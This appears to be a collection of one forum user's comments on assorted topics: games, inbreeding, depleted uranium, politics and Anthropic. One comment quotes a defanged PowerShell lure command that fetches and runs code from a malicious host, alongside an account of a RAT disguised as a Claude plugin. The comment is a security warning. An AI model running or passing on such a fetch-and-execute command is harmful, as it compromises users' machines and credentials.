I don’t have the capability to verify at the moment. But I suspect that a case I worked recently was related. A YouTube video was pointing people at a supposed plugin to make Claude free forever. The plugin was actually a Remote Access Trojan (RAT) and credential stealer. The initial loader was hosted on GitHub. The profile was fairly new and only had a couple updates, mostly adding the Trojan and README files.

The thing about inbreeding is that it isn’t an instantly bad problem. The Habsburg dynasty was all about doing the nasty with cousins for a number of generations. It took a few rounds before the Habsburg Chin developed. Records also indicate that sister marriage was a common royal practice in pharonic Egypt.

It’s all a matter of probabilities and compounding problems. The first generation of inbred kids will probably turn out ok. With the second generation things can start getting sketchy. The more generations you go, the more likely you are to get Crimson Tide fans.

This is also why populations under a certain size can be problematic. When the family trees of a population start looking like brambles, problems start sticking out like thorns.

I still break out the old Sierra games (specifically the Quest for Glory series) from time to time. Those are still a lot of fun and ScummVM makes them run damn near perfectly.

Most non-indie stuff is complete and utter trash.

Ya, it’s telling that some of my favorite games these days all started as indie games. I do worry about them as they get in bed with larger producers, but I also understand the draw. E.g. I still love Valheim, but they were Embracer’d by private equity. And I’m waiting for that relationship to push them to shit all over their players. Though I understand that publisher backing lets them focus more on development and less on the marketing and distribution of the game.

So now I expect it will be just a patronising nostalgia IP reboot fest designed to extract as much cash as possible.

Ya, this is one of the big turn-offs for me. For example, I really liked Prince of Persia: Sands of Time back in the day. I’ve got exactly zero interest in the remake. Ubisoft’s logo now looking like a neat pile of dogshit, viewed from above, is pretty apt.

I think it’s pretty telling that so many of the people they talk to and a lot of the focus of the article isn’t really about older gamers, it’s about their money.

The opportunity is substantial. The 40+ segment in the US is on track to grow from $19 billion in 2022 to $43 billion by 2030, a 132% expansion at a moment when the rest of the industry is shrinking. These are players with the most disposable income, the longest gaming literacy, and the highest brand loyalty.

I’m in that “40+ segment” and I suspect part of the “problem” these companies face is that older gamers have seen the enshitification of so many of the brands we love. Our tolerance for bullshit is basically gone at this point. Micro transactions, season passes, fucking ads in games, all of that bullshit is a quick way to not get our money.

I also suspect “brand loyalty” is basically gone for the same reason. As a kid, I looked for the Electronic Arts logo. If I saw this logo on a game package, I knew I was looking at a good game. I haven’t bought an EA game in years. I don’t expect to buy an EA game any time soon and I basically ignore everything they do. Sure, if a trailer for Starflight 3 dropped, I’d sit up and take notice. I’d also expect it to be an enshitified mess wearing the skin of a beloved series to sucker me in, before pouncing on my wallet.

So ya, maybe just make good games and older gamers will inevitably buy them. I mean, Larian can pretty much say, “hi we’re making…” and I’ll have my wallet out and be pulling bills before they get any further. And maybe that’s your “brand loyalty”. Game companies who make good games and aren’t private equity firms wearing the dead skin suits of brands we used to love.

The race is on between the end of Trump’s second term and him beating Nixon’s numbers. Trump is getting awful close to having the bigly-est disapproval numbers in history.

There is a reason I always say, “backslash, the one without the question mark”.

Looks like a large segment of the Lemmy user base needs to patch.

Good for him. We hope he goes far.
The further the better.

It’s good to have this sort of thing, but it’s been long enough since I’ve had a problem that I barely even look at ProtonDB anymore, before buying a game. I recently bought Windrose, fired it up, started playing and then thought, “huh, I should have probably checked it on ProtonDB before I bought it.” One of these days, I might go check it’s status; but, I’d much rather just spend the time playing it. It just worked, after all.

In general, they hold that criminalising loot boxes as a form of gambling “will have an impermissible chilling effect on protected videogame design”, creating a risk of liability for people who stream about lootboxes together with people who sell analogous products, like the aforesaid packets of baseball cards.

I’m failing to see the problem here. Baseball cards, randomized “blind boxes” and packs are all gambling aimed at kids. If we “chill” that sort of speech (and commercial speech has long received less protection) that’s a good thing.

I hate to be defending Russia, but this article is pushing a narrative around a “radioactive” threat which is really bullshit. First off, Depleted Uranium is already in use in Ukraine. We know this because the US shipped those weapons to Ukraine. Also, DU isn’t really a radioactive threat. You can hold a chunk of it with your bare hands and the radiation dose you receive is negligible. It’s more of a danger as a toxic heavy metal, like lead. It can bio-accumulate and cause all the same problems which lead does. This isn’t good for the long term environmental health of Ukraine. But, it’s a common material in tanks and other weapons which are designed to penetrate armor/buildings. So, it’s use by Russia isn’t exactly shocking. This article is just Yellow Journalism.

Yes, the US Military uses DU. Specifically, it’s used in both the armor and ammunition for the M1 Abrams tank. It was used extensively by US forces in the recent series of wars in Iraq and Afghanistan. And there was enough of an issue around veterans exposure that the VA setup a program to track known cases of soldiers exposed to it. There is also a “helpful” FAQ page from the US Military’s health system downplaying the effects of DU exposure.

I’m curious to see the fallout of Anthorpic’s books becoming public.

Anthropic projects reaching positive cash flow by 2028, according to TechCrunch, a year later than originally planned.

• source

This IPO sounds like they are running out of people to give them money to set on fire and/or the current investors have realized the whole thing is a ponzi scheme and they are hoping to unload on public investors before the AI bubble pops.

Jumping over to the original report:

While the canonical command is “irm https[:]//claude[.]ai/install.ps1 | iex”, the lure replaced the destination host with “irm events[.]msft23[.]com | iex”.

Whatever artificially intelligent person at Anthopic decided that the official install method for Claude Code should be an irm piped to an iex in PowerShelll should be dragged out behind the same woodshed as Old Yeller. That is basically screaming “malicious code” at security tools. And it’s training developers that blindly running code from the internet is a-ok. It’s no wonder I’ve already seen exactly this sort of thing (with a different URL) happen in my environment. It’s like the AI companies are trying to make security worse.

GM is also required to:

• Stop selling driving data to consumer reporting agencies and brokers for five years.

Stop doing that until everyone forgets about it and we can go back to turning a blind eye.

I was at a showing of Monty Python and the Holy Grail in a theater over the weekend. I was originally worried we’d have trouble getting tickets. Turns out there were only 10 people in the theater and half of those were in my group. What sad times we live in when there aren’t enough people saying, “Ni” in a theater.

“I think we need an exit strategy,” [Republican Sen. Josh Hawley of Missouri] said on April 15.

A strategy at all would have been nice. But, Trump is just going to ignore the deadline, maybe even throw up a bullshit smokescreen of legal arguments which make as much sense as pissing up a rope and keep doing exactly what he wants to do. Congressional Republicans will wring their hands and claim there is nothing to be done, Democrats will keep sponsoring resolutions to “force Republicans to vote on the issue” but which ultimately do nothing (in fairness, as the party out of power, they can’t do much more). And maybe we’ll get a court challenge of some sort. Though, I expect the pack of monkeys in black robes will opt out of ruling by claiming that Congress has the power to reign in the President, and it’s therefore a political question. Which is probably technically right, but leaves us with greatly expanded Presidential powers, as a not-hostile Congress now means that the President can run wars with no meaningful checks on that power.

Dealing with any of Trump’s bullshit should have a three drink minimum. Good on these ladies for ensuring they were able to do so.